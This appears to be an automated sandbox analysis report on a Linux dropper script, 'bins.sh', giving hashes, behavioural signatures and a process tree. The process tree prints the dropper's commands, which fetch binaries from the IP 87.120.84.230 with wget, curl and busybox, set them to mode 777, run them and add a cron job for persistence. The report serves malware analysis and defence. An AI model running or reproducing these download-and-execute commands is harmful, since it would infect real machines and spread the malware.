Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09-11-2024 18:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
-
Size
10KB
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MD5
49ff6a2cb20564750a63b55e97d1ab33
-
SHA1
002760981243e617f09aae9d51348ed8cbf15220
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SHA256
f591850528c073e92ddf0c7c9e15277c4a32c26150f5da11e7e7bad58514e7e1
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SHA512
a59a5dff228d17cc3f8997dc959386adf79208c4dc7b6f376792deb406e5da9b08090f94eba1dbd5d00356069bc5d4367403fe4fa24494b5d30167319b660b18
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SSDEEP
192:OH55kd4A2eVeyFjrUl/Cu1jrUg2eVz55kdl:OH55kd4A2ecyI/Cu32e555kdl
Malware Config
Signatures
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Contacts a large (2148) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodpid process 1513 chmod 1520 chmod 1527 chmod 1534 chmod -
Executes dropped EXE 4 IoCs
Processes:
CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYVr08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAqgw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9JYbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXfioc pid process /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV 1514 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq 1521 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J 1528 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf 1535 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf -
Renames itself 1 IoCs
Processes:
YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXfpid process 1536 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.iZ7Aud crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXfdescription ioc process File opened for reading /proc/171/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1346/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1695/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1745/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1786/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/23/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1166/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1183/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1305/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1697/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1717/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/6/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1571/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1679/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1694/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1741/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/11/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/682/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/723/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1140/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1145/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1284/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1508/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1588/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/179/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1683/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1688/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1645/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1119/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1656/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/477/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1505/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1556/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1723/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1750/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1760/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/12/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1553/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1575/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1668/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1758/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/81/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/169/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1576/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1631/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1663/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1737/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1755/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/17/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1565/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1599/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1609/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1629/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1658/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1677/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1696/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1192/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1769/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/135/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/178/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/419/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/735/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1610/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1733/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxbusyboxwgetcurlbusyboxwgetwgetcurlbusyboxwgetcurldescription ioc process File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq curl File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq busybox File opened for modification /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf busybox File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV wget File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV curl File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV busybox File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq wget File opened for modification /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J wget File opened for modification /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J curl File opened for modification /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J busybox File opened for modification /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf wget File opened for modification /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1505
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/bin/rm/bin/rm bins.sh2⤵PID:1506
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/usr/bin/wgetwget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:1507 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:1511 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:1512 -
/bin/chmodchmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- File and Directory Permissions Modification
PID:1513 -
/tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Executes dropped EXE
PID:1514 -
/bin/rmrm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵PID:1516
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/usr/bin/wgetwget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:1517 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:1518 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:1519 -
/bin/chmodchmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- File and Directory Permissions Modification
PID:1520 -
/tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Executes dropped EXE
PID:1521 -
/bin/rmrm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵PID:1523
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/usr/bin/wgetwget http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Writes file to tmp directory
PID:1524 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Writes file to tmp directory
PID:1525 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Writes file to tmp directory
PID:1526 -
/bin/chmodchmod 777 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- File and Directory Permissions Modification
PID:1527 -
/tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J./gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Executes dropped EXE
PID:1528 -
/bin/rmrm gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵PID:1530
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/usr/bin/wgetwget http://87.120.84.230/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Writes file to tmp directory
PID:1531 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Writes file to tmp directory
PID:1532 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Writes file to tmp directory
PID:1533 -
/bin/chmodchmod 777 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- File and Directory Permissions Modification
PID:1534 -
/tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf./YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1535 -
/bin/shsh -c "crontab -l"3⤵PID:1537
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/usr/bin/crontabcrontab -l4⤵PID:1538
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/bin/shsh -c "crontab -"3⤵PID:1539
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1540 -
/bin/rmrm YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵PID:1542
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/usr/bin/wgetwget http://87.120.84.230/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq2⤵PID:1545
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
210B
MD589f212adefeab592fbf5bdf903af60cc
SHA1616934fc55e0ff61633e2da98dd0ddbeac3a0655
SHA256e795a145746d7b22bac96e409fefcb047d258af03b68716083bb9d079272d39b
SHA512cb9e482025a59676615b2fabc5301a25394c772b7137ad7c1fab7ee6cfbe1d4f22df944e3edc7bd0b5c9bf21af0d00212a8c06c6e73c7569131c70de1409884e